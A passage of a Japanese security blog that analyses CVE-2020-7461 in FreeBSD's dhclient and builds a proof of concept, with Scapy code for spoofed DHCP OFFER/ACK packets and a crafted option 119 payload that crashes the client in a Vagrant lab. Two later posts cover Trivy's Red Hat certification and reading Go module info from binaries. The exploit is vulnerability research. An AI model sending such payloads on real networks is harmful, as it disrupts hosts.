                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

            pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);
        }

        if (i + label_len >= option->len) {
            warning("Truncated label in DHCP Domain Search "
                "option.");
            return (-1);
        }

        /*
        * Update the domain name length with the length of the
        * current label, plus a trailing dot ('.').
        */
        domain_name_len += label_len + 1;

        /* Move cursor. */
        i += label_len + 1;
    }

    warning("Truncated DHCP Domain Search option.");

    return (-1);
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L260-L328

いつものことですがブログの説明だけ見ても理解しにくいと思うのでGitHub上でソースコードを合わせて確認すると良いです。

上の処理の中で特に以下に着目します。

         pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];
            if (pointer >= *offset) {
                /*
                * The pointer must indicate a prior
                * occurrence.
                */
                warning("Invalid forward pointer in DHCP "
                    "Domain Search option compression.");
                return (-1);
            }

そうなのです。実は既にFreeBSDでは圧縮ポインタが不正に先を指していないかなどをチェックしていました。つまり 0xff 0xff などにするとこのif文に吸い込まれてエラーになります。-1が返ると他の処理は終わってしまうため攻撃は成立しません。

じゃあ何が問題なのか?ということで先程の修正箇所についてもう少し見てみます。

         pointed_len = find_search_domain_name_len(option,
                &pointer);
            if (pointed_len < 0)
                return (-1);
            domain_name_len += pointed_len;

            *offset = i + 2;
            return (domain_name_len);

find_search_domain_name_len() の中で find_search_domain_name_len() を呼んでいます。これは圧縮ポインタの指す先を読むために再帰の実装になっています。しかし元々はこの再帰で呼ばれた find_search_domain_name_len()の戻り値である ponted_len のチェックは行われていませんでした。つまりポインタが指す先で起きたエラーは握りつぶされています。

DHCPのオプションとして圧縮ポインタを入れると、まず find_search_domain_name_len() の内部で find_search_domain_name_len() が呼ばれます。そしてそのポインタが指す先がさらに圧縮ポインタになっていて、その指す先が不正だったたとしてもそのエラーは握りつぶされます。

ですが、エラーが握りつぶされたとしてもバリデーションによって実際のオフセットを読みに行ってくれないなら意味がないじゃないかと思われるかもしれませんが、この find_search_domain_name_len()は実は単にドメイン名の長さを計算する関数になっています。そこで得られたドメイン名の長さを基にバッファを確保し、その後実際に expand_search_domain_name()ドメイン名をパースします。

expand_search_domain_name() の実装を載せておきます。

void
expand_search_domain_name(struct option_data *option, size_t *offset,
    unsigned char **domain_search)
{
    int label_len;
    size_t i, pointer;
    unsigned char *cursor;

    /*
    * This is the same loop than the function above
    * (find_search_domain_name_len). Therefore, we remove checks,
    * they're already done. Here, we just make the copy.
    */
    i = *offset;
    cursor = *domain_search;
    while (i < option->len) {
        label_len = option->data[i];
        if (label_len == 0) {
            /*
            * A zero-length label marks the end of this
            * domain name.
            */
            *offset = i + 1;
            *domain_search = cursor;
            return;
        } else if (label_len & 0xC0) {
            /* This is a pointer to another list of labels. */
            pointer = ((label_len & ~(0xC0)) << 8) +
                option->data[i + 1];

            expand_search_domain_name(option, &pointer, &cursor);

            *offset = i + 2;
            *domain_search = cursor;
            return;
        }

        /* Copy the label found. */
        memcpy(cursor, option->data + i + 1, label_len);
        cursor[label_len] = '.';

        /* Move cursor. */
        i += label_len + 1;
        cursor += label_len + 1;
    }
}

https://github.com/freebsd/freebsd-src/blob/373ffc62c158e52cde86a5b934ab4a51307f9f2e/sbin/dhclient/options.c#L330-L375

find_search_domain_name_len()とよく似ていますがシンプルになっています。そしてコメントに非常に興味深いことが書いてあります。

This is the same loop than the function above (find_search_domain_name_len). Therefore, we remove checks, they're already done. Here, we just make the copy.

バリデーションは既にfind_search_domain_name_len() で終わっているので、 expand_search_domain_name() 内ではそういったチェックを行わず単にドメイン名をパースすると言っています。これを読んだ時に全てが理解できました。

つまり、ペイロードをうまく選んでfind_search_domain_name_len() のバリデーションをすり抜けて、expand_search_domain_name() 内で実際に領域外のメモリアクセスを行います。

DHCP Discover/Offer/Request/Ack

DHCPプロトコルはまず最初誰に問い合わせるかも分からないところから始まるのでDHCPクライアントはブロードキャストでDHCPDISCOVERを投げます。そしてDHCPサーバからこのIPアドレスどう?というDHCPOFFERが届いて、実際にそのアドレスをクライアントがDHCPREQUESTしてサーバがDHCPACKを返すという流れです。Wikiの図を引用しておきます。

https://upload.wikimedia.org/wikipedia/commons/thumb/e/e4/DHCP_session.svg/520px-DHCP_session.svg.png

DISCOVERYじゃなくてDISCOVERじゃないんだっけ?という疑問がありますが今回は関係ないので一度忘れます。

この各メッセージの詳細は今回のPoCの本筋とは関係ないですが悪意あるAckを返すためにOfferなども偽装する必要があります。その辺りの実装も載せておきます。今回も例によってPythonのScapyで書いています。

chaddr = binascii.unhexlify(eth.src.replace(":", ""))

ethernet = Ether(dst=eth.src, src=src_mac)
ip = IP(dst=dst_addr, src=src_addr)
udp = UDP(sport=udp.dport, dport=udp.sport)
bootp = BOOTP(
    op="BOOTREPLY",
    yiaddr=dst_addr,
    siaddr=gateway,
    chaddr=chaddr,
    xid=bootp.xid,
)
dhcp = DHCP(
    options=[
        ("message-type", "offer"),
        ("server_id", src_addr),
        ("subnet_mask", subnet_mask),
        ("end"),
    ]
)

ack = ethernet / ip / udp / bootp / dhcp
sendp(ack, iface=iface)

あまり重要じゃないので、ふーんぐらいに思っておいてもらえばOKです。各変数はこの処理の外で定義されているので、気になる人はあとでGitHubの方を確認してください。

そして肝心なのがDHCP Ackで、このオプションに細工した値を入れていきます。Offerとほぼ同じなのでDHCPの部分だけ載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (119, b""),
        ("end"),
     ]
)

残念ながらScapyはDHCPオプション119に対応していなかったので自前でペイロードを組み立てる必要があります。上では今 b"" になっていますがこの部分にペイロードを入れていきます。

PoC組み立て

先程説明したように、最初の圧縮ポインタは自分より前を正しく指す必要があります。つまり、以下のようにオフセットを 0xff にするだけだと Invalid forward pointer とエラーが出て終了してしまいます。

+---+---+---+---+
| 1 |'A'|xC0|xFF|
+---+---+---+---+

では次にシンプルに 0x00 で先頭を指してみます。

+---+---+---+---+
| 1 |'A'|xC0|x00|
+---+---+---+---+

ですがこれも実は動きません。 Invalid forward pointer のところのif文は以下のようになっています。

if (pointer >= *offset) {

この offset は最初0になっているため、 pointer がいくつになろうとここに吸われてしまいます。

ではどうすればよいかと言うと、圧縮ポインタを含むドメイン名の前に他のドメイン名があれば良いです。元々それが圧縮ポインタの目的なので、より正しい見た目に近づけるという感じです。

+---+---+---+---+---+
| 1 |'A'|x00|xC0|x00|
+---+---+---+---+---+

これは正しく動きます。まず長さ1の A というラベルが取り出されます。そしてその次がNULLになっているので終端し、 A. というドメイン名になります。そして次のドメイン名取り出しのループになり、 0xc0 が参照されます。そしてオフセットが計算され、0であるため先頭を参照します。つまり A. というドメイン名とそれを参照して得られた A. というドメイン名の2つが含まれることになります。

ポインタの指す先は本来ラベルの長さにしなければなりませんが、少しずらしてラベル内の値にしてみます。最初のドメイン名の中に値を入れ、オフセットがそこを指すようにします。そうするとその値がラベル長として解釈されます。 xFF などにしたくなりますが、 xFF は上位2ビットが 0b11 のため圧縮ポインタ判定されます。というかFreeBSDの実装は実は間違っていて label_len & 0xC0 しているので上位2ビットのいずれかが1なら圧縮ポインタ判定されます。これも解釈の違いで脆弱性の違いになりうるとペーパー内で説明されています。ということでラベル長の表現をしたければ64未満にする必要があります。今回は x3F=63 にします。

+---+---+---+---+---+
| 1 |x3F|x00|xC0|x01|
+---+---+---+---+---+

まず長さ1の 0x3f というラベルが取り出されます。これは一見不正に見えますが、DNSでは実態としてどのようなバイトでも受け入れなければならないため実装も不正なバイトを弾く処理などは通常入っていません。その辺りもペーパー内で説明されているので興味がある方はどうぞ。そして圧縮ポインタに到達し、オフセットが1のため 0xc0 を参照します。すると find_search_domain_name_len() が再度呼ばれwhileループに入るのですが、長さが 0x3f になっています。これはラベル長と解釈されるため長さが63バイトになりますが、FreeBSDはその辺りもちゃんとバリデーションが入っており Truncated label in DHCP Domain Search option というエラーになります。 if (i + label_len >= option->len) { この処理でラベル長が全体の長さを超える場合にエラーにしています。

しかし前述した通りこのエラーは握りつぶされるため、処理は止まりません。通常通り以下の処理が進められます。

domain_name_len += pointed_len;

*offset = i + 2;
return (domain_name_len);

その結果、63バイト読み込まれるので領域外アクセス成功と思いきや、実際にはエラーで止まってしまいます。なぜかと言うと pointed_len は-1になっているため、 domain_name_len += pointed_len; の処理によって domain_name_len も-1になってしまうためです。そうするとたとえreturn (domain_name_len); により正常に返したとしても呼び出し側では負の値が返ってきたのでエラーと判定してしまいます。

ではどう回避すれば良いかというと、 domain_name_len が負にならないように圧縮ポインタの前にラベルを足します。つまり以下のようになります。

+---+---+---+---+---+---+---+
| 1 |x3F|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+

こうすると圧縮ポインタを読み込む前に A というラベルが取り出され domain_name_len は1になっているため、-1されても0になります。

流れは以下のようになります。

  1. find_search_domain_name_len()が呼ばれる
    1. 1つ目のドメイン名処理
      1. 2バイトのラベル xC0 xFF が取り出される
      2. NULLが来たので終了
    2. 2つ目のドメイン名処理
      1. 1バイトのラベル A が取り出される
      2. xC0 が来たのでオフセットを計算する。今回は1バイトになる。
      3. find_search_domain_name_len()が呼ばれる
        1. ラベル長 x3F を取り出す
        2. このラベル長 label_lenペイロード全体より大きいので Truncated label in DHCP Domain Search option でエラーになる
      4. -1が返るが pointed_len が負の値でもエラーは握りつぶされ domain_name_len に足される
  2. find_search_domain_name_len() によって返された domain_name_len に基づきバッファを確保
  3. expand_search_domain_name() が呼ばれる
    1. find_search_domain_name_len() と同様の処理が行われる
    2. ただしバリデーションがないため label_len が63バイトでもエラーにならない
    3. memcpy(cursor, option->data + i + 1, label_len); により63バイト読み込まれる

という流れで無事に領域外のメモリアクセスが出来ます。Readが出来るのは分かったけどWriteはどうなんだ?というと、上述したように domain_name_len は-1されることで長さがずれます。つまり確保された領域より実際にはドメイン名は大きくなるため領域外への書き込みもできます。この辺りはNucleus NETで説明したのと同じです。ラベル内に書き込みたいバイト列を置いておけば攻撃可能です。

ということでRCEに繋げられる可能性のある攻撃ペイロードについて解説しましたが、自分のPoCでは無限ループにしておきます。ポインタの指す先をさらにポインタにして自分を指します。そうするとエラーは握りつぶされつつ自分を参照してしまうので無限ループになります。

+---+---+---+---+---+---+---+---+
| 2 |xC0|x01|x00| 1 |'A'|xC0|x01|
+---+---+---+---+---+---+---+---+

ということで完成です。自己参照している方のポインタはエラーになりますが例によって握りつぶされるので expand_search_domain_name() で無限ループになります。

最終的なPythonコードを載せておきます。

dhcp = DHCP(
    options=[
        ("message-type", "ack"),
        ("server_id", src_addr),
        ("lease_time", 43200),
        ("subnet_mask", subnet_mask),
        (
            119,
            b"\x02\xc0\x01\x00\x01\x41\xc0\x01",
        ),
        ("end"),
    ]
)

PoC実行

では実行してみます。リポジトリは以下にあります。

github.com

Vagrantで環境を作るのですが、VirtualBoxがホストオンリーアダプターでデフォルトでDHCPサーバを有効にしており、そのサーバがDHCPOFFERを返してしまうせいでうまくいきません。無効にしておきましょう。

f:id:knqyf263:20210416192135p:plain

なお、自分はDHCPサーバを無効にしたのにうまく無効になってくれずVM再起動や色々試したのですがやはりダメでした。最終的にはVirtualBoxも落としてみたりガチャガチャやってたら無効になってくれたのですが、どうやると完全にうまくいくのか分かってないです。PoC書く中でここに一番時間かかりました。

攻撃の流れは以下のようになります。

f:id:knqyf263:20210416192215p:plain

まず適当にVagrantFreeBSDを起動します。

$ cd victim
$ vagrant up

あとは攻撃者用のVMも起動してpythonやら上記のPoCをダウンロードしておきます。

$ cd ../attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py

これで準備は完了です。

PoCを実行します。

vagrant@vagrant:~$ python3 poc.py
Sniffing...

これでDHCPのブロードキャストを待ち受ける状態になっています。あとは別ターミナルを開いてFreeBSD側でDHCPOFFERを出せばOKです。

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

暫く待つと Segmentation fault が出ます。無限ループした結果、メモリが溢れて死んでいます。

ということでPoC完成です。さらーっと説明しましたが完全に0から自分で書いたので結構時間かかりました。でも面白かったです。

参考URL

まとめ

DNSメッセージの圧縮実装不備による脆弱性であるNAME:WRECKについて解説しPoCを書くところまで行いました。IoT/OT機器を管理している人にとっては無視できない脆弱性かなと思います。一方でFreeBSDのみ運用している人はDHCPを細工する必要があり攻撃難易度はかなり高いので、緊急性は低いかと思います。さらにFreeBSDサンドボックス内でdhclientで実行するようになっているので攻撃ができる環境が整ってもRCEまで持っていくのは困難です。

今回の脆弱性は比較的簡単だったのでペーパーはすぐに理解できましたが、いざPoC書いてみたら案の定がっつり時間かかったのでいつも言っていますがやはり手を動かすことを忘れないようにしたいです。

TrivyがRed Hatの認定脆弱性スキャナーになりました

概要

本日、Red HatからRed Hat Vulnerability Scanner Certificationという脆弱性スキャナーに対する認定プログラムが発表されました。

www.redhat.com

そして上の発表の中で私の所属企業であるAqua Securityも認定を受けたことが書かれています。つまり自分が業務として開発しているTrivyというOSS脆弱性スキャナーもRed Hatの認定を受けたことになります(というか実はTrivyだけなのですが詳細は後述)。自分のブログを見る人は既に存在は知ってくれていると思いますが一応貼っておきます。

github.com

現在認定を受けているのは Aqua Security, NeuVector, Sysdigの3社だけです。NeuVectorとSysdigは商用製品で認定を受けているはずなので、3rd partyのOSSスキャナーで認定されているのはTrivyだけということになります。Clairは現在Red Hatが開発しているので当然対応しています(ただし後述する問題は等しく存在します)。この話をもらったのは2020年11月なので、2021年2月末時点でほぼ4ヶ月経過していても認証を通った企業がほとんどいないということから要件の厳しさが分かるかと思います。また、認定のプログラム名には入っていないので若干ややこしいですが、このプログラムではコンテナイメージの脆弱性スキャナーに対する認定を行います。ベアメタルやVMのスキャナーなどは対象外となっています。認定を受けるための要件は数多くありますが、いくつかを挙げておきます。

  1. Red Hatのコンテナイメージに内在する脆弱性が正確に検知できること
  2. Red Hat Enterprise Linuxだけでなく各種プラットフォームに対応していること
  3. Red Hatによる脆弱性の深刻度を表示すること
    • NVDなどのベンダーニュートラルな組織による深刻度を使ってはならない
  4. RHSA-ID(Red Hat Security Advisory ID)を表示すること
    • 基本はCVE-IDの表示で、Red Hatにより修正済みの場合はRHSA-IDを表示する

認定スキャナーであればこれらの要件を満たしていることを保証していますので、もしRed Hatのコンテナイメージを使う場合は認定されているスキャナーの利用を推奨します。

ということで大変めでたい話なのですが、上のプレスリリースは現時点での状況とは色々と異なっており誤解を招きかねない内容になっています。黙っててもバレないとは思いますが、自分のOSSを利用しているユーザには正確に知っておいて欲しいと思ったので補足を書いておきます。

以下で述べることを知ったからといって何がどうなる内容でもないので、上の内容だけ把握しておいてもらえればほとんどの人にとっては十分かと思います。

補足

要件を満たしているスキャナーはまだこの世にない

いきなり衝撃的なことを書いていますが、事実なので詳細を記しておきます。上の要件のうち、特に2を満たすためにはRed Hatが提供しているOVAL v2というデータを脆弱性情報として利用する必要があります。OVALって何?とかは以下のブログで触れられています。

www.redhat.com

OVAL v2に対応することで上の要件の一部を満たせるようになるのですが、データ構造にかなり欠陥があり正しく実装しても誤検知してしまったり、未修正の脆弱性が検知できなかったりします。自分はOSSということで商用版を提供している各社よりフットワークが軽く、Red Hatから話をもらってすぐに実装したのですが、OVAL v2関連を始め大量のバグに直面しました。どのぐらい大量かと言うと管理しきれなくなって自分の側でチケット管理を始めたほどです。今現在チケット番号が21番まで来ています。

この辺りは仕様なのかバグなのか?の判断など正直かなり時間を取られましたが、他社のAPIに対してQAをするのは初めてだったのである意味貴重な経験でした。そういう意味ではまだ認定を受けていない会社の方がバグが洗い出されたあとに実装開始できるので賢かったかなーなどと思ったりはしました。

実はGAは元々12月の予定でした。ですが11月に話をもらって12月は他の会社も間に合わないということで1月に延期されました。自分は頑張れば間に合うぐらいだったのですが、上のバグの関係で自分側ではどうにもならずでした。そして1月に延期されたのですが、やはりバグがあり報告したところ2月上旬に延期されました。そしてさらにバグを報告したところ再度延期になり2月末になりました。

どうでも良いですがtypoしていたことに今気づきました。

実際には全てのバグを早い段階で報告していたので2月上旬などに間に合わないことは明らかだったのですが、Red Hatの複数のチームをまたいでいる関係なのか報告したバグが毎回闇に葬り去られてしまって、毎週ミーティングする度に新たなバグ報告みたいになってしまっていました。もしかして自分がタイムリープしているのか...?と頭がおかしくなりそうだったので自分側でチケット管理を始めたという経緯があります。毎週手元のチケットを確認することで「大丈夫どうやら時は戻ってなさそうだ」と自分の正気を保っていました。Red Hatを批判したいわけではなく、大企業で部署間伝言ゲームによって情報が欠落するのは自分も経験があるので仕方ないかなと思います。経験ある人も多いのではないでしょうか。途中からはあちらでもチケット管理をしてくれたので楽になりました。

ということで2月末のGAも延期になるだろうなと思っていたのですが、もう日程はずらせないということでバグは未修正のままプレスリリースを打つことが決まりました。つまり現時点ではバグの関係で上の4つの要件をすべて満たすことは出来ない状態となっています。

ワークアラウンドによってある程度要件を満たしたバージョンはリリース可能なのでGAまでに暫定版Trivyリリースします、とRed Hatに伝えたところリリースしないでと止められたので未リリースです。さすがに驚きましたしプレスリリース時点で認定スキャナー実質0なの良いのか...?と思いましたが、色々と大人の事情があるようです。とはいえかなり勘違いされそうなので一度説明しておいたほうが良いと思い本ブログを書きました。勘違いされてしまうとGitHubでIssueを受け取って対応するのはRed Hatではなく結局自分なので辛い感じになります。2月末には一番クリティカルなバグは修正される予定とのことで、それさえ直れば一応上の大きい4つの要件は満たすことが出来るようになります。

まとめると、Trivyでは(というか全スキャナーで)現在2の要件を満たせていないためRHELやUBI以外のRed Hat公式イメージの正確な検知は出来ません。ですが近い内に修正されて正しく動くようになる予定です。RHELに関しては既に正確に検知できる状態になっているため安心して使ってください。RHEL 8から導入されたModuleという概念により殆どのスキャナーはRHELでも誤検知してしまうのですがTrivyは正しく処理できます。その辺り含めバグに関係ない箇所が正しく動くことを検証してもらったため一足先に認定を受けることが出来ました。

Aqua Securityの商用版はまだ要件を満たしていない

こちらはOSS関係ないのですが、私の所属するAqua Securityでは商用版のスキャナーを提供しています。Trivyを使って商用版のスキャナーを置き換えるプロジェクトを社内ではずっとやっているのですが、顧客影響なく切り替えるのに難航していて2021年2月時点では別の実装になっています。そして上の発表ではAquaが認定を受けたと書いてあるのですが、実際には商用版のスキャナーは未対応です。未対応というか対応に着手していないです。自分が大量に知見を持っているのでプロダクトチームと協力して今後すぐに実装する予定ですが、少なくとも現時点では要件は満たせていないので注意していただければと思います。実際には全てのスキャナーがまだ要件満たしていませんが、近いところまでもまだ来ていないという意味です。

Aqua Securityの提供する1スキャナーが認定を受けたので嘘ではないのですが、誤解を招きそうだなということでここは正直に書いておきます。というか今回の認定プログラムの実装にAquaで関わったのは自分だけです。それでいて次々と問題が見つかってRed Hatへの説明を一人で頑張る日々を過ごしていて辛かったのですが、 @masahiro331 が自分の実装の検証を手伝ってくれたり一部実装してくれたりとAqua社員でないにも関わらず副業として色々と手伝ってくれました。最初の方はずっと一人でやっていて上の理由でメンタルをやられつつあったので、手伝ってもらって本当に助かりました。

どうやっても誤検知してしまうケースが存在する

要件1で"正確に検知できること"とありますが、実は設計上の問題でどうやっても誤検知してしまうケースがあります。これは例えば同一のパッケージ名が複数のプラットフォームで提供されている場合に起こり得ます。

access.redhat.com

この例ではsambaというパッケージがRed Hat Enterprise LinuxRed Hat Storage 3で提供されています。Red Hat Storage 3をスキャンしている場合にRed Hat Enterprise Linuxのセキュリティアドバイザリを使ってしまうと誤検知になるわけですが、そこの判定が現在のRed Hatのスキャン仕様では出来ません。両方のプラットフォームでRHSAが提供されていて、かつバージョニングが異なる場合にのみ起こるので頻繁に起こるようなものではありません。大量にスキャンした中で数件しか見つかりませんでした。とはいえ0ではないので少し頭に入れておくとおかしな結果が出たときに疑えるかもしれません。

Red Hatの実際に開発している人たちに確認しましたが、仕様的な問題で現時点では直しようがないそうです。つまり全てのスキャナーで同じことが起きます。今回の認定用に新たに作った仕様なので今から直せば何とかならないのかなと思いましたが、既に多くの会社を巻き込んでしまっていたので修正は難しかったようです。

ということでまとめると、仕様の欠陥により認定スキャナーであっても誤検知する可能性が僅かにあります。

まとめ

Trivyが脆弱性スキャナーとしてRed Hatから認定を受けました。ただし、Red Hat側のバグ修正が終わるまではRHELやUBI以外のイメージは正確にはスキャンできないため、今しばらくお待ち下さい。

Goのバイナリから依存するmodule情報を取り出す方法

概要

Goでビルドしたバイナリは色々な情報を含んでいます。例えばビルドに使用したGoのバージョンを取得できます。

$ go version ./test
./test: go1.15.2

そしてついこの間知ったのですが、 -m オプションを使うことで利用しているmoduleの情報も取得可能です。

$ go version -m /usr/local/bin/terraform
/usr/local/bin/terraform: go1.14.9
        path    github.com/hashicorp/terraform
        mod     github.com/hashicorp/terraform  (devel)
        dep     cloud.google.com/go     v0.45.1
        dep     github.com/Azure/azure-sdk-for-go       v45.0.0+incompatible
        dep     github.com/Azure/go-autorest/autorest   v0.11.3
        dep     github.com/Azure/go-autorest/autorest/adal      v0.9.0
        dep     github.com/Azure/go-autorest/autorest/azure/cli v0.4.0
        dep     github.com/Azure/go-autorest/autorest/date      v0.3.0
        dep     github.com/Azure/go-autorest/autorest/to        v0.4.0
        dep     github.com/Azure/go-autorest/autorest/validation        v0.3.0

Terraformは cloud.google.com/go のv0.45.1に依存していることが分かります。その他にも依存しているモジュール名とバージョンが取得できています。Terraformのgo.sumを見ると確かに一致していそうです。

github.com

知らなかったといいつつバイナリにmoduleの情報が含まれていることは以前から知っていて、どうやって取り出すのかなとずっと頭の片隅にはあったのですが、 go version で取り出せるということを今更ながら知りました。自分の開発しているOSSにとってこれは非常にありがたい情報で、面白い機能が実装できるようになります。これは後の余談で話します。

ということでこのブログではどうやって取り出すのか?という内部の挙動を説明します。いや内部知らなくても取り出せれば十分という人は上の2つのコマンドで終了しているのでこの先は不要です。

内部挙動

go version の実装がとてもシンプルで読みやすいので、気になる人は読んでみてください。

github.com

ELFバイナリの準備

ELFだと理解しやすいと思うので、Linux向けにビルドします。丁度よいサイズのバイナリということで拙作の utern を使います。

github.com

おもむろにビルドします。

$ GOOS=linux GOARCH=amd64 go build .

確かにELFになっています。

$ file utern
utern: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=BBs_Ti-Xl6qateQn0t0S/4KAWgjZw9u6WdCn8glDp/DOFaRSFJ6gpI-0q_QngG/8Gn_fV3QzFw8O3fj4dI-, not stripped

.go.buildinfo section

まず readelf でセクションヘッダを見てみます。すると中に .go.buildinfo というセクションがあることがわかります。

$ readelf -S ./utern
There are 25 section headers, starting at offset 0x1c8:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .text             PROGBITS         0000000000401000  00001000
       00000000004f76b4  0000000000000000  AX       0     0     32
  [ 2] .rodata           PROGBITS         00000000008f9000  004f9000
       00000000001f3ca0  0000000000000000   A       0     0     32
  [ 3] .shstrtab         STRTAB           0000000000000000  006ecca0
       00000000000001bc  0000000000000000           0     0     1
  [ 4] .typelink         PROGBITS         0000000000aece60  006ece60
       00000000000032d0  0000000000000000   A       0     0     32
  [ 5] .itablink         PROGBITS         0000000000af0130  006f0130
       0000000000000d70  0000000000000000   A       0     0     8
  [ 6] .gosymtab         PROGBITS         0000000000af0ea0  006f0ea0
       0000000000000000  0000000000000000   A       0     0     1
  [ 7] .gopclntab        PROGBITS         0000000000af0ea0  006f0ea0
       000000000024751e  0000000000000000   A       0     0     32
  [ 8] .go.buildinfo     PROGBITS         0000000000d39000  00939000
       0000000000000020  0000000000000000  WA       0     0     16
  [ 9] .noptrdata        PROGBITS         0000000000d39020  00939020
       0000000000039e40  0000000000000000  WA       0     0     32
  [10] .data             PROGBITS         0000000000d72e60  00972e60
       000000000000ed00  0000000000000000  WA       0     0     32
  [11] .bss              NOBITS           0000000000d81b60  00981b60
       00000000000333f0  0000000000000000  WA       0     0     32
  [12] .noptrbss         NOBITS           0000000000db4f60  009b4f60
       0000000000003628  0000000000000000  WA       0     0     32
  [13] .zdebug_abbrev    PROGBITS         0000000000db9000  00982000
       0000000000000119  0000000000000000           0     0     1
  [14] .zdebug_line      PROGBITS         0000000000db9119  00982119
       000000000009a650  0000000000000000           0     0     1
  [15] .zdebug_frame     PROGBITS         0000000000e53769  00a1c769
       0000000000023f48  0000000000000000           0     0     1
  [16] .zdebug_pubnames  PROGBITS         0000000000e776b1  00a406b1
       000000000000422a  0000000000000000           0     0     1
  [17] .zdebug_pubtypes  PROGBITS         0000000000e7b8db  00a448db
       000000000000f06b  0000000000000000           0     0     1
  [18] .debug_gdb_s[...] PROGBITS         0000000000e8a946  00a53946
       0000000000000040  0000000000000000           0     0     1
  [19] .zdebug_info      PROGBITS         0000000000e8a986  00a53986
       00000000000f25c6  0000000000000000           0     0     1
  [20] .zdebug_loc       PROGBITS         0000000000f7cf4c  00b45f4c
       0000000000097da5  0000000000000000           0     0     1
  [21] .zdebug_ranges    PROGBITS         0000000001014cf1  00bddcf1
       0000000000032712  0000000000000000           0     0     1
  [22] .note.go.buildid  NOTE             0000000000400f9c  00000f9c
       0000000000000064  0000000000000000   A       0     0     4
  [23] .symtab           SYMTAB           0000000000000000  00c11000
       0000000000053d60  0000000000000018          24   672     8
  [24] .strtab           STRTAB           0000000000000000  00c64d60
       000000000008cf90  0000000000000000           0     0     1$ 

objdump でこの中身を見てみます。

$ objdump -s -j .go.buildinfo ./utern

./utern:     file format elf64-x86-64

Contents of section .go.buildinfo:
 d39000 ff20476f 20627569 6c64696e 663a0800  . Go buildinf:..
 d39010 303cd700 00000000 703cd700 00000000  0<......p<......

まず先頭16バイトについて見ていきます。

f:id:knqyf263:20210212160249p:plain

最初の14バイトはマジックバイトです。 \xff Go buildinf: でなければなりません。上の値を見ると確かにそうなっています。

15バイト目はポインタのサイズです。今回は 0x08 なので8バイトです。そして最後がエンディアンで、0の場合はリトルエンディアン、0以外ならビッグエンディアンになります。

Goのバージョン

次に17バイト目以降を見ていきますが、最初の8バイトがビルドに利用したGoバージョンへのポインタになっています。正確にはこの先もさらにポインタなのでポインタのポインタです。

f:id:knqyf263:20210212160335p:plain

上で見たようにリトルエンディアンなので、アドレスは 0xd73c30 になります。

ということで 0xd73c30 をstart-addressにして16バイトほど取り出してみます。

$ objdump -s --start-address 0x00d73c30 --stop-address 0x00d73c40 ./utern

./utern:     file format elf64-x86-64

Contents of section .data:
 d73c30 f0239e00 00000000 08000000 00000000  .#..............

この先頭8バイトがGoのバージョン情報へのポインタです。後半8バイトはそのバージョンのサイズです。

f:id:knqyf263:20210212160447p:plain

アドレスが 0x9e23f0 でサイズが8バイトであることが分かります。

ではその値を取り出します。サイズが8バイトなので stop-address0x9e23f8になります。

$ gobjdump -s --start-address 0x9e23f0 --stop-address 0x9e23f8 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 9e23f0 676f312e 31352e32                    go1.15.2

ということでGoのバージョンを無事に取り出せました。このバイナリはGo 1.15.2でビルドされたことが分かります。

module情報

先程は.go.buildinfo の17バイト目から24バイト目までを使ったので、今度は25バイト目から32バイト目を使います。最初の8バイトがポインタになっているので、 0xd73c70 になります。

f:id:knqyf263:20210212160557p:plain

先程と同様に16バイトほど取り出してみます。

$ gobjdump -s --start-address 0xd73c70 --stop-address 0xd73c80 ./utern

./utern:     file format elf64-x86-64

Contents of section .data:
 d73c70 f713a000 00000000 b9040000 00000000  ................

これもGoのバージョンを取り出したときと同じで、前半8バイトがポインタで後半8バイトがサイズです。つまりアドレスが 0xa013f7 でサイズが 0x04b9 になります。

stop-addressを計算すると 0xa013f7 + 0x04b9 = 0xa018b0です。

Goのバージョン同様に 0xa013f7 をstart-address、 0xa018b0 をend-addressに指定して取り出してみます。

$ gobjdump -s --start-address 0xa013f7 --stop-address 0xa018b0 ./utern

./utern:     file format elf64-x86-64

Contents of section .rodata:
 a013f7 30 77af0c92 74080241 e1c107e6 d618e6 0w...t..A.......
 a01407 70 61746809 67697468 75622e63 6f6d2f path.github.com/
 a01417 6b 6e717966 3236332f 75746572 6e0a6d knqyf263/utern.m
 a01427 6f 64096769 74687562 2e636f6d 2f6b6e od.github.com/kn
 a01437 71 79663236 332f7574 65726e09 286465 qyf263/utern.(de
 a01447 76 656c2909 0a646570 09676974 687562 vel)..dep.github
 a01457 2e 636f6d2f 6177732f 6177732d 73646b .com/aws/aws-sdk
 a01467 2d 676f0976 312e3235 2e333609 68313a -go.v1.25.36.h1:
 a01477 34 2b544c2f 59324735 68735231 7a6466 4+TL/Y2G5hsR1zdf
 a01487 48 6d6a4e47 316f7531 57457173 53576b HmjNG1ou1WEqsSWk
 a01497 38 76376d31 4761444b 796f3d0a 646570 8v7m1GaDKyo=.dep
 a014a7 09 67697468 75622e63 6f6d2f62 726961 .github.com/bria
 a014b7 6e 646f776e 732f7370 696e6e65 720976 ndowns/spinner.v
 a014c7 31 2e372e30 0968313a 61616e31 684242 1.7.0.h1:aan1hBB
 a014d7 4f 6f736372 79325458 416b6774 786b4a Ooscry2TXAkgtxkJ
 a014e7 69 71375365 302b3970 742b5455 576150 iq7Se0+9pt+TUWaP
...

確かにmodule情報が含まれていることが分かります。念の為 go version -m を見てみます。

$ go version -m ./utern
./utern: go1.15.2
